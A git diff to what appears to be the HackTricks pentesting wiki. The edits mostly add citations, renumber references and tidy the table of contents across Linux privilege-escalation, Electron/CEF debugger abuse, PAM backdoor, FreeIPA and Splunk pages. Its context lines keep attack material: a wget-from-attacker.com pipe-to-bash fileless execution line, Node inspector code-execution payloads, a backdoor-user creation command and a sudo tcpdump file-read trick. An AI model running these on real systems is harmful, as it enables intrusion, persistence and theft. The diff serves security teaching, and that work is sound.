diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 877f99eb8a8..df3f3bf60a4 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -206,7 +206,6 @@ - [macOS AppleFS](macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md) - [macOS Bypassing Firewalls](macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md) - [macOS Defensive Apps](macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md) - - [Macos Dyld Hijacking And Dyld Insert Libraries](macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md) - [macOS GCD - Grand Central Dispatch](macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md) - [macOS Kernel & System Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md) - [macOS IOKit](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md) @@ -798,7 +797,6 @@ - [WebSocket Attacks](pentesting-web/websocket-attacks.md) - [Web Tool - WFuzz](pentesting-web/web-tool-wfuzz.md) - [XPATH injection](pentesting-web/xpath-injection.md) -- [XS Search](pentesting-web/xs-search.md) - [XSLT Server Side Injection (Extensible Stylesheet Language Transformations)](pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md) - [XXE - XEE - XML External Entity](pentesting-web/xxe-xee-xml-external-entity.md) - [XSS (Cross Site Scripting)](pentesting-web/xss-cross-site-scripting/README.md) diff --git a/src/linux-hardening/interesting-files-permissions/wildcards-spare-tricks.md b/src/linux-hardening/interesting-files-permissions/wildcards-spare-tricks.md index 71c3f9f3c43..2f79c1ff690 100644 --- a/src/linux-hardening/interesting-files-permissions/wildcards-spare-tricks.md +++ b/src/linux-hardening/interesting-files-permissions/wildcards-spare-tricks.md @@ -25,7 +25,7 @@ chmod -R 644 *.php `--reference=/root/secret``file` is injected, causing *all* matching files to inherit the ownership/permissions of `/root/secret``file`. *PoC & tool*: [`wildpwn`](https://github.com/localh0t/wildpwn) (combined attack). -See also the classic DefenseCode paper for details. +See also the classic DefenseCode paper for details.[[6]](#references) --- @@ -143,7 +143,7 @@ These primitives are less common than the *tar/rsync/zip* classics but worth che ## Hunting vulnerable wrappers and jobs -Recent case studies have shown that wildcard/argv injection is no longer just a **cron + tar** problem. The same bug class keeps appearing in: +Recent case studies have shown that wildcard/argv injection is no longer just a **cron + tar** problem.[[5]](#references) The same bug class keeps appearing in: - web features that "download everything as zip/tar" from attacker-controlled upload directories - vendor/appliance debug shells that expose a **tcpdump** wrapper with attacker-controlled filename/filter fields @@ -287,5 +287,6 @@ sudo tcpdump -c10 -w/var/cache/captures/a/ -V /root/root.txt \ - [3] [0xdf - HTB Dump: Zip arg injection to RCE + tcpdump sudo misconfig privesc](https://0xdf.gitlab.io/2025/11/04/htb-dump.html) - [4] [FiberGateway GR241AG - Full Exploit Chain](https://r0ny.net/FiberGateway-GR241AG-Full-Exploit-Chain/) - [5] [Elastic - Potential Shell via Wildcard Injection Detected](https://www.elastic.co/guide/en/security/current/prebuilt-rule-8-19-20-potential-shell-via-wildcard-injection-detected.html) +- [6] [Back To The Future: Unix Wildcards Gone Wild (DefenseCode)](https://www.exploit-db.com/papers/33930) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/interesting-files-permissions/write-to-root.md b/src/linux-hardening/interesting-files-permissions/write-to-root.md index a1aa1c8a29d..9502b3d7d32 100644 --- a/src/linux-hardening/interesting-files-permissions/write-to-root.md +++ b/src/linux-hardening/interesting-files-permissions/write-to-root.md @@ -315,7 +315,7 @@ This kind of mitigation is worth remembering for other kernel LPEs too: if explo - [3] [Tenable: Copy Fail (CVE-2026-31431) FAQ](https://www.tenable.com/blog/copy-fail-cve-2026-31431-frequently-asked-questions-about-linux-kernel-privilege-escalation) - [4] [Openwall oss-security disclosure for CVE-2026-31431](https://www.openwall.com/lists/oss-security/2026/04/29/23) - [5] [Linux stable fix: crypto: algif_aead - Revert to operating out-of-place](https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5) -- [6] [Copy Fail advisory](https://copy.fail/) +- [6] [Copy Fail — CVE-2026-31431 advisory](https://copy.fail/) - [7] [Theori / Xint technical writeup](https://xint.io/blog/copy-fail-linux-distributions) - [8] [DirtyClone repository / README](https://github.com/rafaeldtinoco/security/tree/main/exploits/dirtyclone) - [9] [JFrog: Dissecting and Exploiting Linux LPE Variant DirtyClone (CVE-2026-43503)](https://research.jfrog.com/post/dissecting-and-exploiting-linux-lpe-variant-dirtyclone-cve-2026-43503/) diff --git a/src/linux-hardening/linux-basics/bypass-linux-restrictions/README.md b/src/linux-hardening/linux-basics/bypass-linux-restrictions/README.md index 8bb7f6456f2..eba993e0f29 100644 --- a/src/linux-hardening/linux-basics/bypass-linux-restrictions/README.md +++ b/src/linux-hardening/linux-basics/bypass-linux-restrictions/README.md @@ -330,14 +330,12 @@ ln /f* If you are inside a filesystem with the **read-only and noexec protections** or even in a distroless container, there are still ways to **execute arbitrary binaries, even a shell!:** - {{#ref}} bypass-fs-protections-read-only-no-exec-distroless/ {{#endref}} ## Chroot & other Jails Bypass - {{#ref}} ../../main-system-information/escaping-from-limited-bash.md {{#endref}} diff --git a/src/linux-hardening/linux-basics/bypass-linux-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md b/src/linux-hardening/linux-basics/bypass-linux-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md index ec9c179eb19..c741d3c7485 100644 --- a/src/linux-hardening/linux-basics/bypass-linux-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md +++ b/src/linux-hardening/linux-basics/bypass-linux-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md @@ -2,13 +2,12 @@ {{#include ../../../../banners/hacktricks-training.md}} - ## Videos In the following videos you can find the techniques mentioned in this page explained more in depth:[[1]](#references)[[2]](#references) -- [**DEF CON 31 - Exploring Linux Memory Manipulation for Stealth and Evasion**](https://www.youtube.com/watch?v=poHirez8jk4) -- [**Stealth intrusions with DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM_gjjiARaU) +- [**DEF CON 31 - Exploring Linux Memory Manipulation for Stealth and Evasion**](https://www.youtube.com/watch?v=poHirez8jk4)[[1]](#references) +- [**Stealth intrusions with DDexec-ng & in-memory dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM_gjjiARaU)[[2]](#references) ## read-only / no-exec scenario @@ -69,7 +68,6 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo For more information about this technique check the Github or: - {{#ref}} ddexec.md {{#endref}} diff --git a/src/linux-hardening/linux-basics/bypass-linux-restrictions/bypass-fs-protections-read-only-no-exec-distroless/ddexec.md b/src/linux-hardening/linux-basics/bypass-linux-restrictions/bypass-fs-protections-read-only-no-exec-distroless/ddexec.md index 4ce96d8d0ba..c9281d44cac 100644 --- a/src/linux-hardening/linux-basics/bypass-linux-restrictions/bypass-fs-protections-read-only-no-exec-distroless/ddexec.md +++ b/src/linux-hardening/linux-basics/bypass-linux-restrictions/bypass-fs-protections-read-only-no-exec-distroless/ddexec.md @@ -61,7 +61,7 @@ The steps are relatively easy and do not require any kind of expertise to unders - Pass the program we want to run to the stdin of the process (will be `read()` by said "shell"code). - At this point it is up to the loader to load the necessary libraries for our program and jump into it. -**Check out the tool in** [**https://github.com/arget13/DDexec**](https://github.com/arget13/DDexec) +**Check out the tool in** [**https://github.com/arget13/DDexec**](https://github.com/arget13/DDexec)[[1]](#references) ## EverythingExec @@ -93,5 +93,3 @@ Block this, EDRs. - [1] [DDexec: A technique to run binaries filelessly and stealthily on Linux](https://github.com/arget13/DDexec) {{#include ../../../../banners/hacktricks-training.md}} - - diff --git a/src/linux-hardening/processes-crontab-systemd-dbus/payloads-to-execute.md b/src/linux-hardening/processes-crontab-systemd-dbus/payloads-to-execute.md index ef0e94a5d68..37626a2de4b 100644 --- a/src/linux-hardening/processes-crontab-systemd-dbus/payloads-to-execute.md +++ b/src/linux-hardening/processes-crontab-systemd-dbus/payloads-to-execute.md @@ -133,6 +133,3 @@ echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysal ``` {{#include ../../banners/hacktricks-training.md}} - - - diff --git a/src/linux-hardening/software-information/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md b/src/linux-hardening/software-information/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md index ddb4471606b..89367152817 100644 --- a/src/linux-hardening/software-information/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md +++ b/src/linux-hardening/software-information/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md @@ -66,7 +66,7 @@ Key properties exploited:[[1]](#references) --- ## Exploitation outline (KernelSU v0.5.7) -High-level steps:[[1]](#references) +High-level steps:[[1]](#references)[[9]](#references) 1) Build a valid path to your own app data directory to satisfy prefix and ownership checks. 2) Ensure a genuine KernelSU Manager base.apk is opened on a lower-numbered FD than your own base.apk. 3) Invoke prctl(0xDEADBEEF, CMD_BECOME_MANAGER, , ...) to pass the checks. @@ -173,8 +173,8 @@ Limitations of the attack: --- ## Related notes across frameworks -- Password-based auth (e.g., historical APatch/SKRoot builds) can be weak if passwords are guessable/bruteforceable or validations are buggy.[[1]](#references) -- Package/signature-based auth (e.g., KernelSU) is stronger in principle but must bind to the actual caller, not indirect artefacts like FD scans.[[1]](#references) +- Password-based auth (e.g., historical APatch/SKRoot builds) can be weak if passwords are guessable/bruteforceable or validations are buggy.[[1]](#references)[[6]](#references)[[7]](#references) +- Package/signature-based auth (e.g., KernelSU) is stronger in principle but must bind to the actual caller, not indirect artefacts like FD scans.[[1]](#references)[[5]](#references) - Magisk: CVE-2024-48336 (MagiskEoP) showed that even mature ecosystems can be susceptible to identity spoofing leading to code execution with root inside manager context.[[1]](#references)[[8]](#references) --- @@ -190,4 +190,4 @@ Limitations of the attack: - [8] [MagiskEoP – CVE-2024-48336](https://github.com/canyie/MagiskEoP) - [9] [KSU PoC demo video (Wistia)](https://zimperium-1.wistia.com/medias/ep1dg4t2qg?videoFoam=true) -{{#include ../../banners/hacktricks-training.md}} \ No newline at end of file +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/software-information/electron-cef-chromium-debugger-abuse.md b/src/linux-hardening/software-information/electron-cef-chromium-debugger-abuse.md index c3b948413bd..76fabe28552 100644 --- a/src/linux-hardening/software-information/electron-cef-chromium-debugger-abuse.md +++ b/src/linux-hardening/software-information/electron-cef-chromium-debugger-abuse.md @@ -4,9 +4,9 @@ ## Basic Information -[From the docs](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): When started with the `--inspect` switch, a Node.js process listens for a debugging client. By **default**, it will listen at host and port **`127.0.0.1:9229`**. Each process is also assigned a **unique** **UUID**.[[7]](#references) +[From the docs](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): When started with the `--inspect` switch, a Node.js process listens for a debugging client. By **default**, it will listen at host and port **`127.0.0.1:9229`**. Each process is also assigned a **unique** **UUID**.[[4]](#references) -Inspector clients must know and specify host address, port, and UUID to connect. A full URL will look something like `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`.[[7]](#references) +Inspector clients must know and specify host address, port, and UUID to connect. A full URL will look something like `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`.[[4]](#references) > [!WARNING] > Since the **debugger has full access to the Node.js execution environment**, a malicious actor able to connect to this port may be able to execute arbitrary code on behalf of the Node.js process (**potential privilege escalation**). @@ -31,7 +31,7 @@ Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d For help, see: https://nodejs.org/en/docs/inspector ``` -Processes based on **CEF** (**Chromium Embedded Framework**) like need to use the param: `--remote-debugging-port=9222` to open de **debugger** (the SSRF protections remain very similar). However, they **instead** of granting a **NodeJS** **debug** session will communicate with the browser using the [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), this is an interface to control the browser, but there isn't a direct RCE. +Processes based on **CEF** (**Chromium Embedded Framework**) like need to use the param: `--remote-debugging-port=9222` to open de **debugger** (the SSRF protections remain very similar). However, they **instead** of granting a **NodeJS** **debug** session will communicate with the browser using the [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), this is an interface to control the browser, but there isn't a direct RCE.[[5]](#references) When you start a debugged browser something like this will appear: @@ -41,7 +41,7 @@ DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4 ### Browsers, WebSockets and same-origin policy -Websites open in a web-browser can make WebSocket and HTTP requests under the browser security model. An **initial HTTP connection** is necessary to **obtain a unique debugger session id**. The **same-origin-policy** **prevents** websites from being able to make **this HTTP connection**. For additional security against [**DNS rebinding attacks**](https://en.wikipedia.org/wiki/DNS_rebinding)**,** Node.js verifies that the **'Host' headers** for the connection either specify an **IP address** or **`localhost`** or **`localhost6`** precisely. +Websites open in a web-browser can make WebSocket and HTTP requests under the browser security model. An **initial HTTP connection** is necessary to **obtain a unique debugger session id**. The **same-origin-policy** **prevents** websites from being able to make **this HTTP connection**. For additional security against [**DNS rebinding attacks**](https://en.wikipedia.org/wiki/DNS_rebinding)**,** Node.js verifies that the **'Host' headers** for the connection either specify an **IP address** or **`localhost`** or **`localhost6`** precisely.[[12]](#references) > [!TIP] > This **security measures prevents exploiting the inspector** to run code by **just sending a HTTP request** (which could be done exploiting a SSRF vuln). @@ -73,7 +73,7 @@ node inspect 127.0.0.1:9229 debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')") ``` -The tool [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug), allows to **find inspectors** running locally and **inject code** into them. +The tool [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug), allows to **find inspectors** running locally and **inject code** into them.[[1]](#references)[[2]](#references)[[11]](#references)[[13]](#references) ```bash #List possible vulnerable sockets @@ -92,7 +92,7 @@ The tool [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefd > [!TIP] > If you came here looking how to get [**RCE from a XSS in Electron please check this page.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/index.html) -Some common ways to obtain **RCE** when you can **connect** to a Node **inspector** is using something like (looks that this **won't work in a connection to Chrome DevTools protocol**): +Some common ways to obtain **RCE** when you can **connect** to a Node **inspector** is using something like (looks that this **won't work in a connection to Chrome DevTools protocol**):[[3]](#references) ```javascript process.mainModule.require("child_process").exec("calc") @@ -103,12 +103,12 @@ Browser.open(JSON.stringify({ url: "c:\\windows\\system32\\calc.exe" })) ## Chrome DevTools Protocol Payloads -You can check the API here: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\ +You can check the API here: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)[[5]](#references)\ In this section I will just list interesting things I find people have used to exploit this protocol. ### Parameter Injection via Deep Links -In the [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) Rhino security discovered that an application based on CEF **registered a custom UR**I in the system (workspaces://index.html) that received the full URI and then **launched the CEF based applicatio**n with a configuration that was partially constructing from that URI.[[11]](#references) +In the [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) Rhino security discovered that an application based on CEF **registered a custom UR**I in the system (workspaces://index.html) that received the full URI and then **launched the CEF based applicatio**n with a configuration that was partially constructing from that URI.[[8]](#references) It was discovered that the URI parameters where URL decoded and used to launch the CEF basic application, allowing a user to **inject** the flag **`--gpu-launcher`** in the **command line** and execute arbitrary things. @@ -122,7 +122,7 @@ Will execute a calc.exe. ### Overwrite Files -Change the folder where **downloaded files are going to be saved** and download a file to **overwrite** frequently used **source code** of the application with your **malicious code**.[[9]](#references) +Change the folder where **downloaded files are going to be saved** and download a file to **overwrite** frequently used **source code** of the application with your **malicious code**.[[6]](#references) ```javascript ws = new WebSocket(url) //URL of the chrome devtools service @@ -140,11 +140,11 @@ ws.send( ### Webdriver RCE and exfiltration -According to this post: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) it's possible to obtain RCE and exfiltrate internal pages from theriver.[[12]](#references)[[13]](#references) +According to this post: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) it's possible to obtain RCE and exfiltrate internal pages from theriver.[[9]](#references)[[10]](#references) ### Post-Exploitation -In a real environment and **after compromising** a user PC that uses Chrome/Chromium based browser you could launch a Chrome process with the **debugging activated and port-forward the debugging port** so you can access it. This way you will be able to **inspect everything the victim does with Chrome and steal sensitive information**.[[10]](#references) +In a real environment and **after compromising** a user PC that uses Chrome/Chromium based browser you could launch a Chrome process with the **debugging activated and port-forward the debugging port** so you can access it. This way you will be able to **inspect everything the victim does with Chrome and steal sensitive information**.[[7]](#references) The stealth way is to **terminate every Chrome process** and then call something like @@ -157,18 +157,15 @@ Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session" - [1] [HackTheBox - Multimaster (IppSec)](https://www.youtube.com/watch?v=iwR746pfTEc&t=6345s) - [2] [taviso/cefdebug - CEF/Chromium debugger inspection and exploitation tool](https://github.com/taviso/cefdebug) - [3] [CVE-2019-1414: Visual Studio Code Remote Code Execution via Chrome DevTools Debugger](https://iwantmore.pizza/posts/cve-2019-1414.html) -- [4] [Google Project Zero Issue 773 (Chromium bug tracker)](https://bugs.chromium.org/p/project-zero/issues/detail?id=773) -- [5] [Google Project Zero Issue 1742 (Chromium bug tracker)](https://bugs.chromium.org/p/project-zero/issues/detail?id=1742) -- [6] [Google Project Zero Issue 1944 (Chromium bug tracker)](https://bugs.chromium.org/p/project-zero/issues/detail?id=1944) -- [7] [Node.js Debugging Guide - Getting Started](https://nodejs.org/en/docs/guides/debugging-getting-started/) -- [8] [Chrome DevTools Protocol](https://chromedevtools.github.io/devtools-protocol/) -- [9] [corCTF 2021 Writeup - saasme (Larry Yuan)](https://larry.science/post/corctf-2021/#saasme-2-solves) -- [10] [Post-Exploitation: Abusing Chrome's Debugging Feature to Observe and Control Browsing Sessions Remotely](https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/) -- [11] [CVE-2021-38112: AWS WorkSpaces Remote Code Execution](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) -- [12] [You Talking To Me? - WebDriver RCE via DNS Rebinding and CDP (STAR Labs)](https://starlabs.sg/blog/2021/04-you-talking-to-me/) -- [13] [Counter Webdriver - From Bot to RCE](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) +- [4] [Node.js Debugging Guide - Getting Started](https://nodejs.org/en/docs/guides/debugging-getting-started/) +- [5] [Chrome DevTools Protocol](https://chromedevtools.github.io/devtools-protocol/) +- [6] [corCTF 2021 Writeup - saasme (Larry Yuan)](https://larry.science/post/corctf-2021/#saasme-2-solves) +- [7] [Post-Exploitation: Abusing Chrome's Debugging Feature to Observe and Control Browsing Sessions Remotely](https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/) +- [8] [CVE-2021-38112: AWS WorkSpaces Remote Code Execution](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) +- [9] [You Talking To Me? - WebDriver RCE via DNS Rebinding and CDP (STAR Labs)](https://starlabs.sg/blog/2021/04-you-talking-to-me/) +- [10] [Counter Webdriver - From Bot to RCE](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) +- [11] [Google Project Zero Issue 773 (Chromium bug tracker)](https://bugs.chromium.org/p/project-zero/issues/detail?id=773) +- [12] [Google Project Zero Issue 1742 (Chromium bug tracker)](https://bugs.chromium.org/p/project-zero/issues/detail?id=1742) +- [13] [Google Project Zero Issue 1944 (Chromium bug tracker)](https://bugs.chromium.org/p/project-zero/issues/detail?id=1944) {{#include ../../banners/hacktricks-training.md}} - - - diff --git a/src/linux-hardening/software-information/freeipa-pentesting.md b/src/linux-hardening/software-information/freeipa-pentesting.md index 87bba75e9e7..b35c07cfdbb 100644 --- a/src/linux-hardening/software-information/freeipa-pentesting.md +++ b/src/linux-hardening/software-information/freeipa-pentesting.md @@ -21,7 +21,7 @@ Tools such as `ipa`, `kdestroy`, `kinit`, `klist`, `kpasswd`, `ksu`, `kswitch`, ### Network -An illustration is provided to depict a typical FreeIPA server setup. +An illustration is provided to depict a typical FreeIPA server setup.[[7]](#references) ## Authentication @@ -100,7 +100,7 @@ ipa hostgroup-show --all ### Hashes -The **root** user from the **IPA serve**r has access to the password **hashes**. +The **root** user from the **IPA serve**r has access to the password **hashes**.[[7]](#references) - The password hash of a user is stored as **base64** in the “**userPassword**” **attribute**. This hash might be **SSHA512** (old versions of FreeIPA) or **PBKDF2_SHA256**. - The **Nthash** of the password store as **base64** in “**ipaNTHash**” if system has **integration** with **AD**. @@ -171,7 +171,7 @@ ipa permission-show --all ### IPAHound: Graphing FreeIPA from a low-privileged user -In **FreeIPA**, a regular user usually **cannot read** the real **ACI / permission / delegation** internals, so a pentest-oriented graph has to **infer effective privileges** from attributes that remain readable. [IPAHound](https://github.com/IPAHound/IPAHound) does this for FreeIPA in a similar way to BloodHound for AD, and is especially useful after compromising a **standard user**, a **host keytab**, or a **service account**.[[4]](#references) +In **FreeIPA**, a regular user usually **cannot read** the real **ACI / permission / delegation** internals, so a pentest-oriented graph has to **infer effective privileges** from attributes that remain readable. [IPAHound](https://github.com/IPAHound/IPAHound) does this for FreeIPA in a similar way to BloodHound for AD, and is especially useful after compromising a **standard user**, a **host keytab**, or a **service account**.[[4]](#references)[[5]](#references) #### Collector usage @@ -187,7 +187,7 @@ IPAHound -k -s dc1.domain.local --output-raw raw.json IPAHound --input-raw raw.json -a freeipa_apoc.json ``` -For large datasets, importing the **APOC** JSON into **Neo4j** is much faster than GUI upload: +For large datasets, importing the **APOC** JSON into **Neo4j** is much faster than GUI upload:[[6]](#references) ```cypher CREATE CONSTRAINT FOR (n:IPADomain) REQUIRE n.neo4jImportId IS UNIQUE; diff --git a/src/linux-hardening/software-information/logstash.md b/src/linux-hardening/software-information/logstash.md index c026e65e4f0..c70a63a2797 100644 --- a/src/linux-hardening/software-information/logstash.md +++ b/src/linux-hardening/software-information/logstash.md @@ -134,7 +134,7 @@ journalctl -u logstash --no-pager 2>/dev/null | tail -n 200 ls -lah /var/log/logstash 2>/dev/null ``` -This is also worth checking because **CVE-2023-46672** showed that Logstash could record sensitive information in logs under specific circumstances. On a post-exploitation host, old Logstash logs and `journald` entries may therefore disclose credentials even if the current config references the keystore instead of storing secrets inline. +This is also worth checking because **CVE-2023-46672** showed that Logstash could record sensitive information in logs under specific circumstances. On a post-exploitation host, old Logstash logs and `journald` entries may therefore disclose credentials even if the current config references the keystore instead of storing secrets inline.[[3]](#references) ### Centralized Pipeline Management Abuse @@ -166,5 +166,6 @@ This is especially useful when local files are read-only but Logstash is already - [1] [Elastic Docs: Reloading the Config File](https://www.elastic.co/guide/en/logstash/8.19/reloading-config.html) - [2] [Elastic Docs: Configure Centralized Pipeline Management](https://www.elastic.co/guide/en/logstash/8.19/configuring-centralized-pipelines.html) +- [3] [Logstash 8.11.1 Security Update (ESA-2023-26) - CVE-2023-46672](https://discuss.elastic.co/t/logstash-8-11-1-security-update-esa-2023-26/347191) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/software-information/pam-pluggable-authentication-modules.md b/src/linux-hardening/software-information/pam-pluggable-authentication-modules.md index ec3c5e20a75..78f1e8b17e4 100644 --- a/src/linux-hardening/software-information/pam-pluggable-authentication-modules.md +++ b/src/linux-hardening/software-information/pam-pluggable-authentication-modules.md @@ -9,7 +9,7 @@ #### Configuration Files - **Solaris and UNIX-based systems** typically utilize a central configuration file located at `/etc/pam.conf`. -- **Linux systems** prefer a directory approach, storing service-specific configurations within `/etc/pam.d`. For instance, the configuration file for the login service is found at `/etc/pam.d/login`. +- **Linux systems** prefer a directory approach, storing service-specific configurations within `/etc/pam.d`. For instance, the configuration file for the login service is found at `/etc/pam.d/login`.[[1]](#references) An example of a PAM configuration for the login service might look like this: @@ -28,7 +28,7 @@ session required /lib/security/pam_unix_session.so #### **PAM Management Realms** -These realms, or management groups, include **auth**, **account**, **password**, and **session**, each responsible for different aspects of the authentication and session management process: +These realms, or management groups, include **auth**, **account**, **password**, and **session**, each responsible for different aspects of the authentication and session management process:[[1]](#references) - **Auth**: Validates user identity, often by prompting for a password. - **Account**: Handles account verification, checking for conditions like group membership or time-of-day restrictions. @@ -37,7 +37,7 @@ These realms, or management groups, include **auth**, **account**, **password**, #### **PAM Module Controls** -Controls dictate the module's response to success or failure, influencing the overall authentication process. These include: +Controls dictate the module's response to success or failure, influencing the overall authentication process. These include:[[1]](#references) - **Required**: Failure of a required module results in eventual failure, but only after all subsequent modules are checked. - **Requisite**: Immediate termination of the process upon failure. @@ -61,7 +61,7 @@ In a setup with multiple auth modules, the process follows a strict order. If th ## Backdooring PAM – Hooking `pam_unix.so` -A classic persistence trick in high-value Linux environments is to **swap the legitimate PAM library with a trojanised drop-in**. Because every SSH / console login ends up calling `pam_unix.so:pam_sm_authenticate()`, a few lines of C are enough to capture credentials or implement a *magic* password bypass. +A classic persistence trick in high-value Linux environments is to **swap the legitimate PAM library with a trojanised drop-in**. Because every SSH / console login ends up calling `pam_unix.so:pam_sm_authenticate()`, a few lines of C are enough to capture credentials or implement a *magic* password bypass.[[2]](#references) ### Compilation Cheatsheet
@@ -174,12 +174,13 @@ This matters for both offense and triage: if `/etc/pam.d/system-auth` contains t ### Recent tradecraft seen in the wild -Recent 2025 reporting on the **Plague** Linux backdoor showed the same core idea taken further: a malicious PAM component with a **static bypass password**, plus cleanup of SSH-related environment variables and shell history (`HISTFILE=/dev/null`) to reduce session traces after login.[[2]](#references) That is a useful hunting pattern because the backdoor logic may live in PAM while the stealth artifacts only appear **after** authentication succeeds. +Recent 2025 reporting on the **Plague** Linux backdoor showed the same core idea taken further: a malicious PAM component with a **static bypass password**, plus cleanup of SSH-related environment variables and shell history (`HISTFILE=/dev/null`) to reduce session traces after login.[[3]](#references) That is a useful hunting pattern because the backdoor logic may live in PAM while the stealth artifacts only appear **after** authentication succeeds. ## References - [1] [pam.conf(5) / pam.d(5) - Linux-PAM Manual](https://man7.org/linux/man-pages/man5/pam.d.5.html) -- [2] [Nextron Systems - Plague: A Newly Discovered PAM-Based Backdoor for Linux](https://www.nextron-systems.com/2025/08/01/plague-a-newly-discovered-pam-based-backdoor-for-linux/) +- [2] [The Covert Operator's Playbook: Infiltration of Global Telecom Networks - Unit 42](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/) +- [3] [Nextron Systems - Plague: A Newly Discovered PAM-Based Backdoor for Linux](https://www.nextron-systems.com/2025/08/01/plague-a-newly-discovered-pam-based-backdoor-for-linux/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/software-information/splunk-lpe-and-persistence.md b/src/linux-hardening/software-information/splunk-lpe-and-persistence.md index 24ed0f428b3..738c7faccb9 100644 --- a/src/linux-hardening/software-information/splunk-lpe-and-persistence.md +++ b/src/linux-hardening/software-information/splunk-lpe-and-persistence.md @@ -35,7 +35,7 @@ Important artifacts: ## Splunk Universal Forwarder Agent Exploit Summary -For further details check [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/). This is just a summary:[[3]](#references) +For further details check [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/). This is just a summary:[[1]](#references) **Exploit overview:** An exploit targeting the Splunk Universal Forwarder (UF) allows attackers with the **agent password** to execute arbitrary code on systems running the agent, potentially compromising a large portion of the environment. @@ -147,7 +147,7 @@ In those cases, planting a `HASHED_PASSWORD` generated with `splunk hash-passwd` ## Abusing Splunk Queries -For further details check [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis).[[1]](#references)[[4]](#references) +For further details check [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis).[[3]](#references)[[4]](#references) A useful recent technique is abusing **user-supplied XSLT** in vulnerable Splunk Enterprise versions to turn a low-privileged authenticated account into **OS command execution** as the `splunk` user. @@ -170,9 +170,9 @@ If Splunk is running with too many privileges, or if the `splunk` user has acces ## References -- [1] [Splunk Security Advisory SVD-2023-1104 – XSLT Injection RCE (CVE-2023-46214)](https://advisory.splunk.com/advisories/SVD-2023-1104) +- [1] [Abusing Splunk Forwarders For RCE And Persistence](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/) - [2] [Beware of TraitorWare: Using Splunk for Persistence](https://www.huntress.com/blog/beware-of-traitorware-using-splunk-for-persistence) -- [3] [Abusing Splunk Forwarders For RCE And Persistence](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/) +- [3] [Splunk Security Advisory SVD-2023-1104 – XSLT Injection RCE (CVE-2023-46214)](https://advisory.splunk.com/advisories/SVD-2023-1104) - [4] [CVE-2023-46214 Analysis: Splunk XSLT Injection 